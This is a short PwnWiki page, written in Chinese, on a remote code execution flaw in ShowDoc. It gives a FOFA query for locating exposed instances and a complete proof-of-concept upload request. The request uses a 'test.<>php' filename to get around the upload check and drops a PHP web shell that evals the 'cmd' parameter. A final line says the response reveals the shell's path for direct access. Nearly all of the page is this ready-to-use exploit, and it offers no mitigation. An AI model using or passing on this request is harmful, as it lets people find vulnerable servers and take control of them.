ShowDoc 遠程代碼執行漏洞

From PwnWiki
Revision as of 19:12, 24 April 2021 by Pwnwiki (talk | contribs) (建立內容為「==FOFA== <pre> app="ShowDoc" </pre> ==POC== <pre> POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0;…」的新頁面)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

FOFA

app="ShowDoc"

POC

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 259

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php echo '123_test';@eval($_GET[cmd])?>
----------------------------921378126371623762173617--

response包裡有路徑,直接訪問即可。